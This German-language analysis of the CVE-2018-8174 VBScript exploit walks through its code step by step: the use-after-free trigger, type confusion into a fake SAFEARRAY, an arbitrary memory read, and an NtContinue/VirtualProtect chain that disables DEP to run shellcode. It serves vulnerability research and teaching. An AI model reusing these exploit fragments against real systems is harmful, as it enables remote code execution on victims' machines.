
Analyse des VBS-Exploits CVE-2018-8174
Als dieser Exploit Ende April/Anfang Mai auftauchte, weckte er mein Interesse, denn trotz starker Verschleierung war die Codestruktur gut organisiert und der Code zur Ausnutzung der Sicherheitslücke klein genug, um die Analyse zu vereinfachen. Ich lud den POC von GitHub herunter und entschied, dass er ein guter Kandidat wäre, um ihn genauer unter die Haube zu nehmen. Zu diesem Zeitpunkt waren bereits zwei Analysen veröffentlicht, die erste von 360 und die zweite von Kaspersky. Beide halfen mir zu verstehen, wie es funktionierte, aber sie reichten nicht aus, um jeden Aspekt des Exploits tiefgehend zu verstehen. Deshalb habe ich beschlossen, ihn selbst zu analysieren und meine Erkenntnisse zu teilen.
Zuerst habe ich, um die Integer-Verschleierung zu entfernen, eine Regex-Ersetzung in einem Python-Skript verwendet:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # extremly safe :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
Was die verschleierten Namen betrifft, habe ich sie während der Analyse schrittweise umbenannt. Diese Analyse liest sich am besten zusammen mit dem Quellcode, auf den am Ende verlinkt wird.
Die Sicherheitslücke tritt auf, wenn ein Objekt beendet und die benutzerdefinierte Funktion Class_Terminate() aufgerufen wird. In dieser Funktion wird eine Referenz auf das freigegebene Objekt in UafArray gespeichert. Von nun an bezieht sich UafArray(i) auf das gelöschte Objekt.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' fix ref counter
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
Beachten Sie auch die letzte Zeile in Class_Terminate(). Wenn wir das ClassTerminate-Objekt in UafArray kopieren, wird sein Referenzzähler erhöht. Um das auszugleichen, geben wir es erneut frei, indem wir FreedObjectArray einen anderen Wert zuweisen. Ohne diesen Ausgleich würde der Speicher des Objekts trotz des Aufrufs von Class_Terminate nicht freigegeben und das nächste Objekt würde nicht an seiner Stelle allokiert.

Das Erstellen und Löschen neuer Objekte wird in einer Schleife siebenmal wiederholt; danach wird ein neues Objekt der Klasse ReuseClass erstellt. Es wird in demselben Speicherbereich allokiert, der zuvor von den 7 ClassTerminate-Instanzen belegt war.
Um das besser zu verstehen, hier ein einfaches WinDbg-Skript, das alle diese Allokationen protokolliert:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
Hier ist das Allokationsprotokoll der Funktion UafTrigger:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
Wir können sofort sehen, dass ReuseClass tatsächlich in demselben Speicher allokiert wird, der zuvor den 7 Instanzen von ClassTerminate zugewiesen war.
Dies wird zweimal wiederholt. Am Ende haben wir zwei Objekte, auf die über UafArrays verwiesen wird. Keine dieser Referenzen ist im Referenzzähler des Objekts berücksichtigt.
In diesem Protokoll können wir auch bemerken, dass es selbst nach dem Aufruf von Class_Terminate einige Objektmanipulationen gibt, die dessen Referenzzähler verändern.
Aus diesem Grund würde man, wenn man diesen Zähler nicht in Class_Terminate ausgleichen würde, so etwas wie Folgendes erhalten:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
Unterschiedliche Allokationsadressen. Der Exploit würde die Use-after-Free-Bedingung nicht erzeugen können.
Nachdem wir diese beiden Objekte mit jeweils 7 nicht gezählten Referenzen erstellt haben, haben wir eine Primitive zum beliebigen Speicherlesen etabliert.
Es gibt zwei ähnliche Klassen, ReuseClass und FakeReuseClass. Indem man die erste Klasse durch die zweite ersetzt, kommt es zu einer Typkonfusion beim Mitglied mem.
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
In der Funktion SetProp wird ReuseClass.mem gespeichert und Default Property Get der Klasse ReplacingClass_* aufgerufen; das Ergebnis dieses Aufrufs wird in ReuseClass.mem abgelegt.
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") 'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
UafArrayA(idx)=0
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For idx=0 To 6
Set UafArrayA(idx)=objectImitatingArray
Next
End Property
In diesem Getter wird UafArray geleert, indem jedem Element 0 zugewiesen wird. Dadurch wird VBScriptClass::Release auf dem ReuseClass-Objekt aufgerufen, auf das über UafArray verwiesen wird. Es stellt sich heraus, dass das ReuseClass-Objekt in dieser Ausführungsphase einen Referenzzähler von 7 hat, und da wir Release 7-mal aufrufen, wird dieses Objekt freigegeben. Und weil diese Referenzen aus der Use-after-Free-Situation stammen, sind sie im Referenzzähler nicht berücksichtigt.
Anstelle von ReuseClass wird ein neues Objekt von FakeReuseClass allokiert. Um seinen Referenzzähler auf 7 zu bringen, wie es bei ReuseClass der Fall war, weisen wir es 7-mal dem UafArray zu.
Hier ist das Speicherlayout vor und nach dieser Operation.


Danach gibt die Getter-Funktion einen Wert zurück, der der alten Variablen ReuseClass::mem zugewiesen wird. Wie in den Speicherabbildern zu sehen ist, befand sich der alte Wert 0xC Bytes vor dem neuen. Die Objekte wurden speziell präpariert, um diese Situation herbeizuführen, beispielsweise durch die Wahl passender Längen für die Funktionsnamen. Nun überschreibt der in ReuseClass::mem geschriebene Wert den Header von FakeReuseClass::mem, was zu einer Typkonfusion führt.

FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to
objectImitatingArray.mem = FakeArrayString
Die letzte Zeile hat den String FakeArrayString an objectImitatingArray.mem zugewiesen. Der Header hat nun den Wert VT_BSTR
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
Dieser Wert hat den Typ von objectImitatingArray.mem auf VT_ARRAY | VT_VARIANT überschrieben, und nun wird der Zeiger auf den String als Zeiger auf eine SAFEARRAY-Struktur interpretiert.
Das Ergebnis ist, dass wir zwei Objekte von FakeReuseClass haben. Eines davon hat ein mem-Mitgliedsarray, das den gesamten Benutzerbereich (0x00000000 - 0x7fffffff) adressiert, und das andere hat ein Mitglied vom Typ VT_I4 (4-Byte-Integer) mit einem Zeiger auf einen leeren 16-Byte-String. Mit dem zweiten Objekt wird ein Zeiger auf einen String geleakt:
some_memory=resueObjectB_int.mem
Er wird später als Adresse in einem beschreibbaren Speicherbereich verwendet.
Der nächste Schritt ist, eine beliebige Adresse innerhalb von vbscript.dll zu leaken. Dabei wird ein sehr raffinierter Trick verwendet.
Function LeakVBAddr
On Error Resume Next
Dim emptySub_addr_placeholder
emptySub_addr_placeholder=EmptySub
emptySub_addr_placeholder=null
SetVarData emptySub_addr_placeholder
LeakVBAddr=ReadRawPointer()
End Function
Zuerst wird festgelegt, dass das Skript bei einem Fehler einfach mit der normalen Ausführung fortfahren soll. Dann wird versucht, EmptySub einer Variablen zuzuweisen. Das ist in VBS nicht möglich, aber es wird trotzdem ein Wert auf den Stack gelegt, bevor der Fehler erzeugt wird. Die nächste Anweisung soll einer Variablen null zuweisen, was sie tut, indem sie einfach den Typ des letzten Werts vom Stack auf VT_NULL ändert. Nun hält emptySub_addr_placeholder einen Zeiger auf die Funktion, allerdings mit dem Typ VT_NULL.
Function ReadRawPointer
resueObjectA_arr.mem(some_memory)=3 ' set var type to type vbLong
ReadRawPointer=resueObjectA_arr.mem(some_memory+8) ' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
resueObjectA_arr.mem(some_memory+8)=ref ' set data
End Sub
Dann wird dieser Wert in unseren beschreibbaren Speicher geschrieben, sein Typ wird auf VT_I4 geändert und er wird als Integer zurückgelesen.
Wenn man den Inhalt dieses Werts prüft, stellt sich heraus, dass es sich um einen Zeiger auf CScriptEntryPoint handelt, und das erste Mitglied ist vftable, das auf vbscript.dll zeigt.

Um einen Wert von einer beliebigen Adresse zu lesen, in diesem Fall den von LeakVBAddr zurückgegebenen Zeiger, werden die folgenden Funktionen verwendet:
Function GetUint32(addr)
Dim value
resueObjectA_arr.mem(some_memory+8)=addr+4 ' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
resueObjectA_arr.mem(some_memory)=8 ' set type to VT_BSTR
value=resueObjectA_arr.ReadBstrValll
resueObjectA_arr.mem(some_memory)=2 ' set type to original VT_I2
GetUint32=value
End Function
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Das Lesen wird erreicht, indem zuerst address+4 in einen beschreibbaren Speicher geschrieben wird, dann wird der Typ auf VT_BSTR geändert. Nun wird address+4 als Zeiger auf einen BSTR behandelt. Wenn man LenB auf address+4 aufruft, wird der Wert zurückgegeben, auf den address zeigt. Warum? Weil BSTR so definiert ist, dass dem Unicode-Wert seine Länge vorangestellt ist, und genau diese Länge wird von LenB zurückgegeben.

Nun, da die Adresse innerhalb von vbscript.dll geleakt wurde und die beliebige Speicherlese-Primitive etabliert ist, ist es nur noch eine Frage des korrekten Durchlaufens des PE-Headers, um alle benötigten Adressen zu erhalten.
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")
Die Details dazu werden hier nicht erklärt. Dieser Artikel erklärt die PE-Datei sehr ausführlich.
Die endgültige Codeausführung wird in zwei Schritten erreicht. Zuerst wird eine Kette aus zwei Aufrufen aufgebaut, aber es ist keine ROP-Kette. NtContinue erhält eine CONTEXT-Struktur, die EIP auf die Adresse von VirtualProtect und ESP auf eine Struktur mit den Parametern von VirtualProtect setzt.
Function VirtualProtectCallParameters(shellcodePtr)
Dim result
result = String(10000,Unescape("%u4141")) ' 'A' * 0x10fdc - padding, this space will be used as stack
result = result & UnescapeValue(shellcodePtr) ' &shellcode - address to return to after VirtualProtect
result = result & UnescapeValue(shellcodePtr) ' &shellcode - lpAddress (1st param for VirtualProtect)
result = result & UnescapeValue(12288) ' 0x3000 - size (2nd param for VirtualProtect)
result = result & UnescapeValue(64) ' 0x40 - newProtect (3rd param for VirtualProtect)
result = result & UnescapeValue(shellcodePtr-8) ' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
result = result & String(6,Unescape("%u4242")) ' 'B' * 12 - padding and allignment
result = result & StructWithNtContinueAddr() ' \x00 * 3 NtContinue * 4 \x00
result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
VirtualProtectCallParameters = result
End Function
Function StructForNtContinue(structForVirtualProtect)
Dim result
Dim ntContinuePtr
ntContinuePtr = structForVirtualProtect + 35
result = ""
result = result & UnescapeValue(ntContinuePtr)
result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8 - initalize _CONTEXT with 'A'
result = result & UnescapeValue(VirtualProtect) ' VirtualProtect - _EIP in _CONTEXT struct
result = result & UnescapeValue(27) ' 0x1b - CsSeg in _CONTEXT struct
result = result & UnescapeValue(0) ' 0x00 - EFLAGS in _CONTEXT struct
result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
result = result & UnescapeValue(35) ' 0x23 - SsSeg in _CONTEXT struct
result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
StructForNtContinue = result
End Function
SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)
Die erste Adresse des Shellcodes wird mithilfe der zuvor beschriebenen Technik erhalten, bei der der Variablentyp auf VT_I4 geändert und der Zeiger gelesen wird.
Als Nächstes wird eine Struktur für VirtualProtect gebaut, die alle notwendigen Parameter enthält, wie Shellcode-Adresse, Größe und RWX-Schutz. Sie bietet auch Platz, der von den Stack-Operationen innerhalb von VirtualProtect genutzt wird. Danach wird eine CONTEXT-Struktur gebaut, mit EIP, das auf VirtualProtect gesetzt ist, und ESP, das auf dessen Parameter zeigt. Diese Struktur hat als ersten Wert auch einen Zeiger auf die NtContinue-Adresse, der viermal wiederholt wird.
Der letzte Schritt vor dem Start dieser Kette ist es, die Struktur als String im Speicher zu speichern.
Sub TriggerCodeExecution
resueObjectA_arr.mem(some_memory)=&h4d
resueObjectA_arr.mem(some_memory+8)=0
End Sub
Diese Funktion wird dann verwendet, um die Kette zu starten. Zuerst ändert sie den Typ der gespeicherten Struktur auf 0x4D und setzt dann ihren Wert auf 0; dadurch wird VAR::Clear aufgerufen.

Und eine dynamische Ansicht aus dem Debugger

Auch wenn es kompliziert erscheinen mag, ist diese Ausführungskette sehr einfach. Nur zwei Schritte: NtContinue mit einer CONTEXT-Struktur aufrufen, die auf VirtualProtect zeigt. Danach deaktiviert VirtualProtect DEP auf der Speicherseite, die den Shellcode enthält, und kehrt anschließend in den Shellcode zurück.
CVE-2018-8174 ist ein gutes Beispiel dafür, wie mehrere Use-after-Free- und Typkonfusions-Bedingungen zu einer sehr cleveren Codeausführung verknüpft werden. Es ist ein hervorragendes Beispiel, um daraus zu lernen und die inneren Abläufe solcher Exploits zu verstehen.